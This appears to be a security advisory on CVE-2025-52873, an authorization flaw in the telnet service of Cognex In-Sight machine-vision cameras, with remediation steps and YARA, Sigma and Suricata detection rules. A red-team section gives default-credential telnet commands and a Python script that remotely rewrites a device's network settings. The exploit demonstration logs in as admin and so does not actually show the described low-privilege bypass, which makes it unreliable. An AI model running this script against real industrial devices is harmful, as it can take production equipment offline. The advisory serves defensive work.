CVE-2025-52873

Executive Summary

CVE-2025-52873 exposes a critical authorization bypass vulnerability in Cognex In-Sight Explorer and In-Sight Camera Firmware. The affected devices expose a telnet-based management service on TCP port 23 that, while requiring authentication, fails to properly enforce the security model documented in the user manual. Specifically, a user with protected privileges can invoke the SetSystemConfig functionality to modify critical device properties such as network settings, contradicting the intended access controls. This flaw allows an authenticated attacker to alter device configuration, potentially leading to denial of service, network redirection, or further compromise of the industrial control system (ICS) environment.

The vulnerability is classified under CWE-863 (Incorrect Authorization) and carries a CVSS v3.1 score of 8.1 (High). The attack vector is network-based, requires low complexity, and only low privileges, with no user interaction needed. The impact on confidentiality, integrity, and availability is high.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects proprietary Cognex firmware and software used in industrial machine vision systems. Supply chain risk is elevated due to the lack of a vendor patch and the critical role these devices play in manufacturing and quality control.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Attacker needs valid credentials.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full device configuration and data exposure.
• Integrity Impact: High (I:H) – Device settings can be altered.
• Availability Impact: High (A:H) – Device can be rendered inoperable.

Threat Level: High. The vulnerability is remotely exploitable with low privileges and no user interaction. Given the industrial context, a successful attack could disrupt production lines, alter inspection parameters, or pivot to other OT/ICS assets.

Deep Dive & Mechanics

The vulnerability resides in the telnet-based management service (port 23) of Cognex In-Sight cameras and the In-Sight Explorer software. The service is intended to allow authenticated users to perform management operations such as firmware upgrades and device reboots. However, the authorization checks for the SetSystemConfig function are insufficient.

Root Cause: The SetSystemConfig command, which modifies device properties like network settings (IP address, subnet mask, gateway, DNS), is accessible to any user with "protected privileges." The user manual states that only administrators should be able to change such critical settings, but the firmware does not enforce this distinction. This is a classic case of incorrect authorization (CWE-863).

Attack Flow:

1. Discovery: An attacker scans for Cognex devices on port 23 (telnet).
2. Authentication: The attacker obtains valid credentials (e.g., default credentials, brute-force, or social engineering).
3. Exploitation: The attacker connects via telnet and sends the SetSystemConfig command with malicious parameters.
4. Impact: The device's network configuration is altered, potentially causing a denial of service (e.g., changing IP to a non-routable address), redirecting traffic to an attacker-controlled server, or disabling network connectivity.

Technical Details:

• The telnet service uses a proprietary command set.
• The SetSystemConfig command accepts parameters such as IPAddress, SubnetMask, Gateway, DNSServer, etc.
• No additional privilege escalation or token validation is performed beyond the initial authentication.

Vulnerable vs. Patched Code

Since no patch is available, a code-level comparison is not possible. However, the vulnerable behavior can be described:

Vulnerable (Current):

// Pseudocode for vulnerable implementation
function handleSetSystemConfig(user, params) {
    if (user.isAuthenticated && user.role == "protected") {
        // No check for admin role
        applyConfig(params);
    }
}

Patched (Expected):

// Pseudocode for patched implementation
function handleSetSystemConfig(user, params) {
    if (user.isAuthenticated && user.role == "admin") {
        applyConfig(params);
    } else {
        return "Access Denied: Insufficient privileges";
    }
}

The fix would require adding a role-based access control (RBAC) check that restricts SetSystemConfig to users with an "admin" role, not just any "protected" user.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Cognex In-Sight camera or simulator with telnet enabled.
• Valid credentials (e.g., default admin/admin or obtained via brute-force).

Exploitation Steps:

1. Connect to the device:

   telnet <target_ip> 23
   

2. Authenticate:

   login: admin
   password: admin
   

3. Change network settings (example: change IP to 192.168.1.100):

   SetSystemConfig IPAddress=192.168.1.100 SubnetMask=255.255.255.0 Gateway=192.168.1.1
   

4. Verify change: The device will apply the new settings, potentially disconnecting the attacker. Reconnect using the new IP.

Automated Exploit (Python):

import socket

def exploit(target_ip, username, password, new_ip, subnet, gateway):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, 23))
    # Receive banner
    data = sock.recv(1024)
    # Send credentials
    sock.send(username.encode() + b"\n")
    sock.recv(1024)
    sock.send(password.encode() + b"\n")
    sock.recv(1024)
    # Send malicious config
    cmd = f"SetSystemConfig IPAddress={new_ip} SubnetMask={subnet} Gateway={gateway}\n"
    sock.send(cmd.encode())
    response = sock.recv(1024)
    print(response.decode())
    sock.close()

# Usage
exploit("192.168.1.50", "admin", "admin", "192.168.1.100", "255.255.255.0", "192.168.1.1")

Blue Team (Defensive)

Detection:

• Monitor for telnet connections (port 23) to Cognex devices from unexpected IPs.
• Log all SetSystemConfig commands and alert on any changes to network settings.
• Use network segmentation to restrict access to management interfaces.

Honeypot: Deploy a low-interaction honeypot mimicking the Cognex telnet service to capture attacker behavior.

Honeypot Script (Python):

import socket

def honeypot():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind(('0.0.0.0', 23))
    server.listen(5)
    print("Honeypot listening on port 23...")
    while True:
        client, addr = server.accept()
        print(f"Connection from {addr}")
        client.send(b"Cognex In-Sight Camera\nlogin: ")
        username = client.recv(1024).strip()
        client.send(b"password: ")
        password = client.recv(1024).strip()
        print(f"Credentials: {username}:{password}")
        client.send(b"Access Denied\n")
        client.close()

honeypot()

Indicators of Compromise (IOCs)

• Network IOCs:

  • Telnet connections to port 23 of Cognex devices from unusual IP ranges.
  • SetSystemConfig commands in telnet session logs.
  • Changes to device IP address, subnet mask, or gateway outside of maintenance windows.

• Host IOCs:

  • Unexpected network configuration changes on the Cognex device.
  • Device reboot or disconnection following a config change.

• Log IOCs:

  • Authentication logs showing multiple failed login attempts followed by a successful login.
  • Audit logs containing SetSystemConfig entries with non-standard parameters.

Detection Engineering

YARA Rule

rule CVE_2025_52873_Cognex_Telnet_Exploit {
    meta:
        description = "Detects telnet traffic containing SetSystemConfig command targeting Cognex devices"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52873"
    strings:
        $cmd = "SetSystemConfig" ascii wide nocase
        $telnet = "telnet" ascii wide nocase
    condition:
        $cmd and #telnet > 0
}

Sigma Rule

title: Cognex In-Sight Telnet SetSystemConfig Abuse
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized use of SetSystemConfig command via telnet on Cognex devices
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        service: "telnet"
        data: "*SetSystemConfig*"
    condition: selection
falsepositives:
    - Authorized administrative activity
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 23 (msg:"CVE-2025-52873 Cognex In-Sight SetSystemConfig Exploit"; flow:to_server,established; content:"SetSystemConfig"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Telnet: If possible, disable the telnet service and use SSH or HTTPS for management.
2. Network Segmentation: Place Cognex devices on a separate VLAN with strict firewall rules limiting access to authorized management stations only.
3. Change Default Credentials: Ensure all devices use strong, unique passwords.
4. Monitor Logs: Enable and monitor audit logs for any SetSystemConfig commands.

Long-Term Fix:

• Contact Cognex support for a firmware patch that enforces proper RBAC.
• Implement a configuration management system to detect and revert unauthorized changes.

Workaround:

• Use a network-based access control list (ACL) to block telnet traffic from untrusted sources.
• Deploy an application-layer firewall that can inspect telnet commands and block SetSystemConfig unless from a whitelisted IP.

Valters IT